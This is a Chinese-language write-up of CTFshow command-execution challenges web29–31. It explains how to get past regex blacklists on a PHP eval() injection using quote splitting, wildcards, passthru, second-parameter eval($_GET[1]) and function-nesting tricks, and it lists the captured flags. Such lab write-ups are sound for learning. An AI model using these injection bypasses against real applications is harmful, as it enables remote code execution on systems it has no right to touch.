CTFshow 命令执行 web29 30 31


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

GET方式获取参数c，并将eval($c)将c作为代码执行

preg_match正则匹配，这里是判断是否存在flag存在则不执行，即过滤flag

payload:

?c=system('tac fl""ag.php);

绕过flag.php的方法很多，这里使用最简单的绕过方式双引号绕过，和它等同的是单引号绕过，更多的绕过方式后面也会提到

tac是查看代码的命令，与cat类似，不知道为什么cat在这里用不了

解题过程：

?c=system('ls');

查看一下当前目录有什么文件

再使用payload获取flag

flag：

ctfshow{144242cf-a65b-4239-99e4-15e538453d2f}

web30

代码分析：

if(!preg_match("/flag|system|php/i", $c))

这里把system与flag、php都过滤了

system绕过：可以使用passthru等函数绕过

flag.php:可以使用引号绕过fl""ag.p""hp,也可以使用通配符绕过fl*

payload:


?c=passthru('ls');
?c=passthru('tac fl*');

flag:

ctfshow{8ea88388-bcad-4091-9c35-cf3cc290f5f6}

web31

代码分析：

 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c))

过滤的东西有点多，单引号过滤了，空格过滤了，这时候可以考虑用二次传递或者套娃来做

二次传递：通过传两个参数来绕过检测

payload：


?c=eval($_GET[1]);&1=system('ls');
?c=eval($_GET[1]);&1=system('tac flag.php');

if中检测的是eval($_GET[1]);并没有出现违法字符，但我们通过eval与&1将命令传递进c中并且能被执行

套娃:套娃这里介绍两种套娃的方式get_defined_vars()、localeconv()

需要用到的函数:

get_defined_vars() 返回一个包含所有已定义变量列表的多维数组，这些变量包括环境变量、服务器变量和用户定义的变量。

array_pop() 是删除并返回数组最后一个元素

current() 返回数组中的当前元素的值。别名是 pos()

next() 返回数组中的下一个元素的值。

end()最后一个

scandir() 函数返回指定目录中的文件和目录的数组。

print_r() 函数用于打印变量，以更容易理解的形式展示。

localeconv()函数会返回一一个包含本地数字及货币格式信息的数组，该数组的第一个元素就是"."

current() 函数返回数组中的当前元素的值。别名是 pos()

array_reverse() 函数将原数组中的元素顺序翻转，创建新的数组并返回。

read_file()、highlight_file()和show_source()读出源码